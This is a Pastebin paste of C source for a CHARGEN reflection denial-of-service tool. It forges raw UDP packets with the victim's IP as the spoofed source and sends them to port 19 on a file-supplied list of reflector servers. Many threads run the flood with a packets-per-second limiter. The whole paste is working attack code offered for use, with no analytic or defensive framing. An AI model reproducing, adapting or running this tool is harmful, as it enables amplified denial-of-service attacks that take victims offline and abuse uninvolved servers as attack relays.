Guest User

CHARGEN

a guest
May 15th, 2014
4,425
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11. #define MAX_PACKET_SIZE 8192
  12. #define PHI 0x9e3779b9
  13. static uint32_t Q[4096], c = 362436;
  14. struct list
  15. {
  16. struct sockaddr_in data;
  17. struct list *next;
  18. struct list *prev;
  19. };
  20. struct list *head;
  21. volatile int tehport;
  22. volatile int limiter;
  23. volatile unsigned int pps;
  24. volatile unsigned int sleeptime = 100;
  25. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  26. void init_rand(uint32_t x)
  27. {
  28. int i;
  29. Q[0] = x;
  30. Q[1] = x + PHI;
  31. Q[2] = x + PHI + PHI;
  32. for (i = 3; i < 4096; i++)
  33. {
  34. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  35. }
  36. }
  37.  
  38. uint32_t rand_cmwc(void)
  39. {
  40. uint64_t t, a = 18782LL;
  41. static uint32_t i = 4095;
  42. uint32_t x, r = 0xfffffffe;
  43. i = (i + 1) & 4095;
  44. t = a * Q[i] + c;
  45. c = (t >> 32);
  46. x = t + c;
  47. if (x < c) {
  48. x++;
  49. c++;
  50. }
  51. return (Q[i] = r - x);
  52. }
  53.  
  54. /* function for header checksums */
  55. unsigned short csum (unsigned short *buf, int nwords)
  56. {
  57. unsigned long sum = 0;
  58. for (sum = 0; nwords > 0; nwords--)
  59. sum += *buf++;
  60. sum = (sum >> 16) + (sum & 0xffff);
  61. sum += (sum >> 16);
  62. return (unsigned short)(~sum);
  63. }
  64.  
  65. void setup_ip_header(struct iphdr *iph)
  66. {
  67. iph->ihl = 5;
  68. iph->version = 4;
  69. iph->tos = 0;
  70. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 1;
  71. iph->id = htonl(54321);
  72. iph->frag_off = 0;
  73. iph->ttl = MAXTTL;
  74. iph->protocol = IPPROTO_UDP;
  75. iph->check = 0;
  76. iph->saddr = inet_addr("192.168.3.100");
  77. }
  78.  
  79. void setup_udp_header(struct udphdr *udph)
  80. {
  81. udph->source = htons(5678);
  82. udph->dest = htons(19);
  83. udph->check = 0;
  84. memset((void *)udph + sizeof(struct udphdr), 0x01, 1);
  85. udph->len=htons(sizeof(struct udphdr) + 1);
  86. }
  87.  
  88. void *flood(void *par1)
  89. {
  90. struct thread_data *td = (struct thread_data *)par1;
  91. char datagram[MAX_PACKET_SIZE];
  92. struct iphdr *iph = (struct iphdr *)datagram;
  93. struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  94. struct sockaddr_in sin = td->sin;
  95. struct list *list_node = td->list_node;
  96. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  97. if(s < 0){
  98. fprintf(stderr, "Could not open raw socket.\n");
  99. exit(-1);
  100. }
  101. init_rand(time(NULL));
  102. memset(datagram, 0, MAX_PACKET_SIZE);
  103. setup_ip_header(iph);
  104. setup_udp_header(udph);
  105. udph->source = htons(rand() % 65535 - 1026);
  106. iph->saddr = sin.sin_addr.s_addr;
  107. iph->daddr = list_node->data.sin_addr.s_addr;
  108. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  109. int tmp = 1;
  110. const int *val = &tmp;
  111. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  112. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  113. exit(-1);
  114. }
  115.  
  116. init_rand(time(NULL));
  117. register unsigned int i;
  118. i = 0;
  119. while(1){
  120. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  121. list_node = list_node->next;
  122. iph->daddr = list_node->data.sin_addr.s_addr;
  123. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  124. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  125.  
  126. pps++;
  127. if(i >= limiter)
  128. {
  129. i = 0;
  130. usleep(sleeptime);
  131. }
  132. i++;
  133. }
  134. }
  135. int main(int argc, char *argv[ ])
  136. {
  137. if(argc < 6){
  138. fprintf(stderr, "Invalid parameters!\n");
  139. fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  140. exit(-1);
  141. }
  142. srand(time(NULL));
  143. int i = 0;
  144. head = NULL;
  145. fprintf(stdout, "Chargen, written by LiteSpeed\n");
  146. fprintf(stdout, "Setting up sockets...\n");
  147. int max_len = 128;
  148. char *buffer = (char *) malloc(max_len);
  149. buffer = memset(buffer, 0x00, max_len);
  150. int num_threads = atoi(argv[4]);
  151. int maxpps = atoi(argv[5]);
  152. limiter = 0;
  153. pps = 0;
  154. int multiplier = 20;
  155.  
  156. FILE *list_fd = fopen(argv[3], "r");
  157. while (fgets(buffer, max_len, list_fd) != NULL) {
  158. if ((buffer[strlen(buffer) - 1] == '\n') ||
  159. (buffer[strlen(buffer) - 1] == '\r')) {
  160. buffer[strlen(buffer) - 1] = 0x00;
  161. if(head == NULL)
  162. {
  163. head = (struct list *)malloc(sizeof(struct list));
  164. bzero(&head->data, sizeof(head->data));
  165. head->data.sin_addr.s_addr=inet_addr(buffer);
  166. head->next = head;
  167. head->prev = head;
  168. } else {
  169. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  170. memset(new_node, 0x00, sizeof(struct list));
  171. new_node->data.sin_addr.s_addr=inet_addr(buffer);
  172. new_node->prev = head;
  173. new_node->next = head->next;
  174. head->next = new_node;
  175. }
  176. i++;
  177. } else {
  178. continue;
  179. }
  180. }
  181. struct list *current = head->next;
  182. pthread_t thread[num_threads];
  183. struct sockaddr_in sin;
  184. sin.sin_family = AF_INET;
  185. sin.sin_addr.s_addr = inet_addr(argv[1]);
  186. struct thread_data td[num_threads];
  187. for(i = 0;i<num_threads;i++){
  188. td[i].thread_id = i;
  189. td[i].sin= sin;
  190. td[i].list_node = current;
  191. pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  192. }
  193. fprintf(stdout, "Starting flood...\n");
  194. for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  195. {
  196. usleep((1000/multiplier)*1000);
  197. if((pps*multiplier) > maxpps)
  198. {
  199. if(1 > limiter)
  200. {
  201. sleeptime+=100;
  202. } else {
  203. limiter--;
  204. }
  205. } else {
  206. limiter++;
  207. if(sleeptime > 25)
  208. {
  209. sleeptime-=25;
  210. } else {
  211. sleeptime = 0;
  212. }
  213. }
  214. pps = 0;
  215. }
  216. return 0;
  217. }
RAW Paste Data